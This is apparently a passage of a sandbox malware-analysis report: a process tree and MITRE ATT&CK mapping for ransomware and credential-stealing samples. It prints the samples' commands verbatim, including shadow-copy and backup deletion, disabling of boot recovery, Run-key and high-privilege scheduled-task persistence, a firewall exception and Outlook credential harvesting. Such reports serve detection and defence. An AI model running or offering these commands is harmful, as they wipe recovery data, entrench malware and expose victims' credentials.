        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        5⤵
        
        PID:1272
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4896
- - C:\Users\Admin\Desktop\taskse.exe
    taskse.exe C:\Users\Admin\Desktop\@[email protected]
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4176
- - C:\Users\Admin\Desktop\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - Suspicious use of SetWindowsHookEx
    PID:1244
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "dlkzpibqectdraf799" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
    3⤵
    PID:4504
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "dlkzpibqectdraf799" /t REG_SZ /d "\"C:\Users\Admin\Desktop\tasksche.exe\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1760
- - C:\Users\Admin\Desktop\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:5112
- - C:\Users\Admin\Desktop\taskse.exe
    taskse.exe C:\Users\Admin\Desktop\@[email protected]
    3⤵
    - Executes dropped EXE
    PID:1304
- - C:\Users\Admin\Desktop\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:716
- - C:\Users\Admin\Desktop\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:512
- - C:\Users\Admin\Desktop\taskse.exe
    taskse.exe C:\Users\Admin\Desktop\@[email protected]
    3⤵
    - Executes dropped EXE
    PID:1388
- - C:\Users\Admin\Desktop\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2940
- - C:\Users\Admin\Desktop\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:972
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\3.xlsx"
  2⤵
  PID:2916
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\2.doc" /o ""
  2⤵
  PID:3280
- C:\Users\Admin\Desktop\5.exe
  "C:\Users\Admin\Desktop\5.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:4208
- - C:\ProgramData\system.exe
    "C:\ProgramData\system.exe"
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:2040
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\ProgramData\system.exe" "system.exe" ENABLE
      4⤵
      PID:560
- C:\Users\Admin\Desktop\6.exe
  "C:\Users\Admin\Desktop\6.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:3572
- - C:\Users\Default User\fontdrvhost.exe
    "C:\Users\Default User\fontdrvhost.exe"
    3⤵
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:3752
- C:\Users\Admin\Desktop\7.exe
  "C:\Users\Admin\Desktop\7.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1336
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
    3⤵
    - Accesses Microsoft Outlook accounts
    PID:204
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1692
- C:\Users\Admin\Desktop\8.exe
  "C:\Users\Admin\Desktop\8.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Drops startup file
  - Sets desktop wallpaper using registry
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3892
- - C:\Windows\system32\wbem\wmic.exe
    "C:\pwmlx\c\g\..\..\..\Windows\i\qjcj\eyh\..\..\..\system32\jm\..\wbem\tee\j\..\..\wmic.exe" shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3952
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\9.docm" /o ""
  2⤵
  PID:4664

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default User\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\System32\enterprisecsps\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1652

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\unregmp2\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1664

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f4 0x4c8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4064

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops startup file
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

Modify Registry

Scripting

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery